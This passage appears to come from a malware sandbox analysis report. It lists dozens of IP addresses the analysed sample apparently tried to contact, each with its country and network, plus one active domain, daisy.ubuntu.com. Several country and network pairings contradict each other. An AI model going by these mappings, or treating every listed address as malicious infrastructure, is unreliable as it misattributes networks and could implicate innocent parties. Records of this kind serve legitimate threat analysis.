3356 LEVEL3US false
155.132.96.108
 unknown France
37532 ZAMRENZM false
145.49.169.131
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
205.85.225.208
 unknown United States
665 DNIC-ASBLK-00616-00665US false
105.213.82.132
 unknown South Africa
16637 MTNNS-ASZA false
1.184.2.166
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
186.185.217.104
 unknown Venezuela
6306 TELEFONICAVENEZOLANACAVE false
43.42.71.99
 unknown Japan 4249 LILLY-ASUS false
38.148.126.220
 unknown United States
174 COGENT-174US false
196.189.120.193
 unknown Ethiopia
24757 EthioNet-ASET false
20.58.131.47
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
210.219.148.184
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
83.114.143.9
 unknown France
3215 FranceTelecom-OrangeFR false
190.125.129.49
 unknown Colombia
26611 COMCELSACO false
221.194.193.139
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
94.98.22.135
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
188.212.176.156
 unknown Iran (ISLAMIC Republic Of)
58224 TCIIR false
209.145.93.72
 unknown United States
7795 LUMOSUS false
147.193.24.78
 unknown United Kingdom
2527 SO-NETSo-netEntertainmentCorporationJP false
88.9.229.0
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
85.223.7.58
 unknown Netherlands
20507 INTERNLNETInterNLnetAutonomousSystemNL false
90.80.80.138
 unknown France
3215 FranceTelecom-OrangeFR false
27.87.49.205
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
132.66.61.90
 unknown Israel
378 MACHBA-ASILANIL false
183.9.165.150
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
102.254.72.195
 unknown South Africa
5713 SAIX-NETZA false
185.204.87.169
 unknown Italy
205850 WIFI-CANNAVOIT false
126.7.190.107
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
173.159.178.198
 unknown United States
10507 SPCSUS false
44.120.3.146
 unknown United States
7377 UCSDUS false
8.215.199.92
 unknown Singapore
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC false
159.1.14.252
 unknown United States
4193 WA-STATE-GOVUS false
215.139.125.162
 unknown United States
721 DNIC-ASBLK-00721-00726US false
70.20.103.86
 unknown United States
701 UUNETUS false
145.42.148.145
 unknown Netherlands
34108 BREEDBANDDELFTNL false
92.13.86.249
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
26.192.70.191
 unknown United States
7922 COMCAST-7922US false
210.134.210.253
 unknown Japan 2522 PPP-EXPJapanNetworkInformationCenterJP false
165.187.68.118
 unknown Australia
134369 ATOS-AS-APAtosAustraliaPtyLtdAU false
85.209.31.230
 unknown Czech Republic
207167 AMCCOMP-MASTER-BRNOCZ false
38.9.20.74
 unknown United States
174 COGENT-174US false
19.164.88.91
 unknown United States
3 MIT-GATEWAYSUS false
29.144.120.18
 unknown United States
7922 COMCAST-7922US false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
71.47.53.250
 unknown United States
33363 BHN-33363US false
37.162.142.31
 unknown France
51207 FREEMFR false
45.154.85.77
 unknown Serbia
60781 LEASEWEB-NL-AMS-01NetherlandsNL false
187.171.167.234
 unknown Mexico
8151 UninetSAdeCVMX false
145.155.230.232
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
130.96.80.183
 unknown United States
13326 TUFTS-UNIVERSITYUS false
59.194.50.237
 unknown China
2516 KDDIKDDICORPORATIONJP false
104.183.204.119
 unknown United States
7018 ATT-INTERNET4US false
158.26.73.204
 unknown United States
1766 ASN-EXXONMOBIL-US false
25.39.112.172
 unknown United Kingdom
7922 COMCAST-7922US false
74.31.199.182
 unknown United States
7922 COMCAST-7922US false
25.147.32.16
 unknown United Kingdom
7922 COMCAST-7922US false
83.240.130.211
 unknown Portugal
15525 MEO-EMPRESASPT false
210.39.11.113
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
120.221.35.122
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
126.79.250.179
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
11.101.210.12
 unknown United States
27651 ENTELCHILESACL false
121.30.88.228
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
209.120.209.181
 unknown United States
3257 GTT-BACKBONEGTTDE false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.25 true